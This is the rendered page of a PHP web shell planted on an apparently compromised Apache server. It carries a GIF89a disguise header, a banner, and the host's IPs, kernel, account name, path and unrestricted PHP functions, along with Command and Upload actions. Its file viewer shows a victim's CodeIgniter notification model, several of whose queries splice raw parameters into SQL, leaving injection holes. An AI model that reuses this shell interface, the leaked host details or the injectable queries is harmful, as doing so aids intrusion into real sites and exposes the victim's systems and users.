GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.144.116.195
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/models/admin/NotificationManagement.php
<?php

/**
 * Description of NotificationManagement
 *
 * @author Softpro India Pvt. Ltd.
 */
class NotificationManagement extends CI_Model {

    function createNewNotificationHead($nh_array) {
        $this->db->insert('notice_head', $nh_array);
        return $this->db->insert_id();
    }

    function getAllNotificationHead() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('notice_head NH');
        $this->db->join('tbl_staff_members TSMA', 'NH.nh_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'NH.nh_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where('NH.nh_flag', "N");
        $this->db->order_by("NH.nh_added_on", "DESC");
        return $this->db->get();
    }

    function getAllActiveNonDeletedNotificationHead() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('notice_head NH');
        $this->db->join('tbl_staff_members TSMA', 'NH.nh_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'NH.nh_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where('NH.nh_active_status', "T");
        $this->db->where('NH.nh_delete_status', "F");
        $this->db->where('NH.nh_flag', "N");
        $this->db->order_by("NH.nh_name", "ASC");
        return $this->db->get();
    }

    function getNotificationHeadById($nh_id) {
        $this->db->select('*');
        $this->db->from(' notice_head');
        $this->db->where('nh_id', $nh_id);
        return $this->db->get();
    }

    function getNotificationHeadByName($nh_name) {
        $this->db->select('*');
        $this->db->from('notice_head');
        $this->db->where('nh_name', $nh_name);
        return $this->db->get();
    }

    function updateSafeNotificationHeadByName($nh_name, $nh_id) {
        $this->db->select('*');
        $this->db->from('notice_head');
        $this->db->where('nh_name', $nh_name);
        $this->db->where('nh_id NOT IN (' . $nh_id . ')');
        return $this->db->get();
    }

    function updateNotificationHead($nh_array, $nh_id) {
        $this->db->where("nh_id", $nh_id);
        return $this->db->update("notice_head", $nh_array);
    }

    /* Functions For Notifications And Related Stuff */

    function createNewNotification($nm_array) {
        $this->db->insert('notice_mst', $nm_array);
        return $this->db->insert_id();
    }

    function getAllNotification() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('notice_mst NM');
        $this->db->join('tbl_session_master TSM', 'TSM.session_id = NM.session_id');
        $this->db->join('notice_head NH', 'NH.nh_id = NM.nh_id');
        $this->db->join('tbl_staff_members TSMA', 'NM.nm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'NM.nm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("(NM.nm_visibility_type='" . 'S' . "' OR NM.nm_visibility_type='" . 'A' . "' OR NM.nm_visibility_type='" . 'F' . "')");
        $this->db->order_by("NM.nm_added_on", "DESC");
        return $this->db->get();
    }

    function getAllNotificationBy($nm_visibility_type, $head = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('notice_mst NM');
        $this->db->join('tbl_session_master TSM', 'TSM.session_id = NM.session_id');
        $this->db->join('notice_head NH', 'NH.nh_id = NM.nh_id');
        $this->db->join('tbl_staff_members TSMA', 'NM.nm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'NM.nm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("(NM.nm_visibility_type='" . $nm_visibility_type . "' OR NM.nm_visibility_type='A')");
        if (trim($head)) {
            $this->db->where("NH.nh_id", $head);
        }
        $this->db->order_by("NM.nm_added_on", "DESC");
        return $this->db->get();
    }

    function getNotificationById($nm_id) {
        $this->db->select('*');
        $this->db->from(' notice_mst ');
        $this->db->where('nm_id', $nm_id);
        return $this->db->get();
    }

    function updateNotification($nm_array, $nm_id) {
        $this->db->where("nm_id", $nm_id);
        return $this->db->update("notice_mst", $nm_array);
    }

    /* Functions For Establishment Head & Related Stuffs */

    function getAllEstablishmentHead() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('notice_head NH');
        $this->db->join('tbl_staff_members TSMA', 'NH.nh_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'NH.nh_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where('NH.nh_flag', "E");
        $this->db->order_by("NH.nh_added_on", "DESC");
        return $this->db->get();
    }

    public function getAllActiveNonDeletedEstablishmentHead() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from(' notice_head NH');
        $this->db->join('tbl_staff_members TSMA', 'NH.nh_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'NH.nh_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where('NH.nh_active_status', "T");
        $this->db->where('NH.nh_delete_status', "F");
        $this->db->where('NH.nh_flag', "E");
        $this->db->order_by("NH.nh_name", "ASC");
        return $this->db->get();
    }

    function getAllEstablishment() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from(' notice_mst NM');
        $this->db->join('tbl_session_master TSM', 'TSM.session_id = NM.session_id');
        $this->db->join('notice_head NH', 'NH.nh_id = NM.nh_id');
        $this->db->join('tbl_staff_members TSMA', 'NM.nm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'NM.nm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where('NH.nh_flag', "E");
        $this->db->order_by("NM.nm_added_on", "DESC");
        return $this->db->get();
    }

}

KBHT - 2023